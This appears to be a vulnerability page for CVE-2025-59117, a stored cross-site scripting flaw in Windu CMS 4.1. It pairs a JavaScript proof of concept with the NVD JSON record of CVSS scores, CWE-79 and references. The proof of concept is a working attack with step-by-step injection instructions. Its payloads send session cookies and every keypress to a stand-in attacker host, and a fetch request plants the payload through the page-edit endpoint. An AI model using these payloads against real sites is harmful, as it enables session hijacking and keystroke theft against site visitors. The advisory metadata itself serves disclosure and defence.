CVE-2025-59117

// CVE-2025-59117 PoC - Windu CMS Stored XSS // Target: Windu CMS 4.1 (windu/admin/content/pages/edit/) // 1. Login to Windu CMS admin panel with high-privilege account // 2. Navigate to: /windu/admin/content/pages/edit/ // 3. In page content field, inject XSS payload: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // 4. Save the page // 5. When any user visits the affected page, the script executes // Example exploitation with cookie stealing: const exploitCode = ` <script> // Steal session cookies document.write('<img src="https://attacker.com/log?cookie='+encodeURIComponent(document.cookie)+'">'); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key='+e.key); }); </script> `; // POST request to inject: fetch('/windu/admin/content/pages/edit/', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'content=' + encodeURIComponent(exploitCode) + '&save=1' });

{"cve": {"id": "CVE-2025-59117", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:34.337", "lastModified": "2025-12-05T13:16:04.763", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windu CMS is vulnerable to multiple Stored Cross-Site Scripting (XSS) vulnerabilities in the page editing endpoint windu/admin/content/pages/edit/. \nThis vulnerability can be exploited by a privileged user and may target users with higher privileges.\n\nOnly version 4.1 was tested and confirmed as vulnerable.\nThis issue was fixed in version 4.1 build 2250."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:windu:windu_cms:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "614EBC19-889B-4FC0-8937-C52F415D4835"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/11/CVE-2025-59110", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://windu.org", "source": "[email protected]", "tags": ["Product"]}]}}